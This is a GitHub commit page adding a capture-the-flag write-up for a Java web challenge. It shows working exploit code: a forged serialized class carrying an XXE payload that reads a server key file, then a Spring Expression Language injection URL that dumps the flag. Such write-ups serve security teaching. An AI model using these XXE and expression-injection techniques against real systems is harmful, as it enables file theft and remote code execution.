Skip to content

Commit b4cf7ef

Browse files
committedSep 8, 2019
writeup for exp300
1 parent 9df6090 commit b4cf7ef

File tree

2 files changed

+141
-0
lines changed

2 files changed

+141
-0
lines changed
 
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
# Exploit 300 (pwn, 300p, ? solved)
2+
3+
In the challenge we get address of a Java webapplication and [war file](blueprint.war).
4+
The challenge is a bit similar to the one in previous yeat, however this time the attack vector is not unsafe Java deserialization.
5+
6+
Once we decompile the code in IntelliJ we notice that there are 2 endpoints available.
7+
One endpoint is `/jail` and another is `/office`.
8+
9+
Office endpoint performs some kind of authentication and then uses some of our input inside a piece of Spring Expression Language snippet.
10+
This is very dangerous, since it often leads to RCE, but here we first need to authenticate, and this requires us to know the contents of `/TMCTF2019/key` file.
11+
12+
In order to get it, we need the other endpoint - `/jail`.
13+
This endpoint is much simpler, it does only:
14+
15+
```java
16+
ServletInputStream is = request.getInputStream();
17+
CustomOIS ois = new CustomOIS(is);
18+
Person person = (Person)ois.readObject();
19+
ois.close();
20+
response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
21+
```
22+
23+
Where `CustomOIS` allows only to deserialize objects of type `com.trendmicro.Person`.
24+
If we look closely how those objects are deserialized, we can see:
25+
26+
27+
```java
28+
int paramInt = aInputStream.readInt();
29+
byte[] arrayOfByte = new byte[paramInt];
30+
aInputStream.read(arrayOfByte);
31+
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
32+
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
33+
localDocumentBuilderFactory.setNamespaceAware(true);
34+
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
35+
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
36+
NodeList nodeList = localDocument.getElementsByTagName("tag");
37+
Node node = nodeList.item(0);
38+
this.name = node.getTextContent();
39+
```
40+
41+
It reads the size of the array, and then bytes array, which is later treated as XML document and parsed.
42+
In this XML the deserializer takes first `tag` node and collects text content of this node to use as `name` of the Person.
43+
So xml structure like:
44+
45+
```xml
46+
<tag>person name</tag>
47+
```
48+
49+
There are 2 important things to understand here:
50+
51+
1. Java recognizes classes for deserialization based on their package+class name and some random `serialVersionID`. The latter is important to make sure we don't accidentally deserialize object with the same class name, or for example `old version` of some object. But since we have the original `Person` class and `serialVersionID` is set there, we can make our own class with the same value, and fool the server to deserialize such object for us.
52+
2. Input we provide will be parsed as XML, which means there might be a possibility to use for example XXE attack.
53+
54+
This is exactly what we do here, we created our own `Person` class:
55+
56+
```java
57+
public class Person implements Serializable {
58+
private static final long serialVersionUID = -559038737L;
59+
public String name;
60+
61+
private void writeObject(java.io.ObjectOutputStream out) throws IOException {
62+
String payload = "<?xml version=\"1.0\"?><!DOCTYPE tag [<!ENTITY test SYSTEM 'file:///TMCTF2019/key'>]><tag>&test;</tag>";
63+
out.writeInt(payload.length());
64+
out.write(payload.getBytes());
65+
}
66+
}
67+
```
68+
69+
This class will get serialized the same way as Person class in the challenge expects for later deserialization.
70+
Now we can launch it:
71+
72+
```java
73+
public static void stage1() throws IOException {
74+
Person p = new Person();
75+
ByteArrayOutputStream out = new ByteArrayOutputStream();
76+
ObjectOutputStream oos = new ObjectOutputStream(out);
77+
oos.writeObject(p);
78+
String host = "http://flagmarshal.xyz/jail";
79+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
80+
try {
81+
RestTemplate restTemplate = new RestTemplate();
82+
byte[] yourBytes = out.toByteArray();
83+
HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes);
84+
ResponseEntity<String> response = restTemplate.postForEntity(host, entity, String.class);
85+
System.out.println(response);
86+
System.out.println(response.getStatusCode());
87+
System.out.println(response.getBody());
88+
} catch (HttpServerErrorException ex) {
89+
System.out.println(ex.getResponseBodyAsString());
90+
} finally {
91+
try {
92+
bos.close();
93+
} catch (IOException ex) {
94+
}
95+
}
96+
}
97+
```
98+
99+
And from this we get the key: `Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain`
100+
101+
Now we can proceed to the second stage.
102+
The code we're attacking is:
103+
104+
```java
105+
String nametag = request.getParameter("nametag");
106+
String keyParam = request.getParameter("key");
107+
String keyFileLocation = "/TMCTF2019/key";
108+
String key = readFile(keyFileLocation, StandardCharsets.UTF_8);
109+
if (key.contentEquals(keyParam)) {
110+
ExpressionParser parser = new SpelExpressionParser();
111+
String expString = "'" + nametag + "' == 'Marshal'";
112+
Expression exp = parser.parseExpression(expString);
113+
Boolean isMarshal = (Boolean)exp.getValue();
114+
if (isMarshal) {
115+
response.getWriter().append("Welcome Marsal");
116+
} else {
117+
response.getWriter().append("I am sorry but you cannot see the Marshal");
118+
}
119+
} else {
120+
response.getWriter().append("Did you forget your keys Marshal?");
121+
}
122+
```
123+
124+
We need to:
125+
126+
- Send request with key=`Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain`
127+
- Provide parameter `nametag` which will be placed into expression escaped by `'`.
128+
129+
We can easily put `'` inside `nametag` to escape the string, and evaluate any code we want.
130+
We still need to keep the type proper, so we decided to pass:
131+
132+
`'.isEmpty() || T(com.trendmicro.jail.Flag).getFlag() || '`
133+
134+
So in the application it will become:
135+
136+
`''.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '' == 'Marshal'`
137+
138+
It's a proper boolean expression and it will dump the flag for us, because the `getFlag` thrown an exception.
139+
We need to encode `&` as `%26` in order to be able to pass it into the url, and if we go to: `http://flagmarshal.xyz/Office?nametag='.isEmpty()%26%26T(com.trendmicro.jail.Flag).getFlag()%26%26'&&key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain`
140+
141+
We can see the flag in the stacktrace: `java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}`
Binary file not shown.

0 commit comments

Comments
 (0)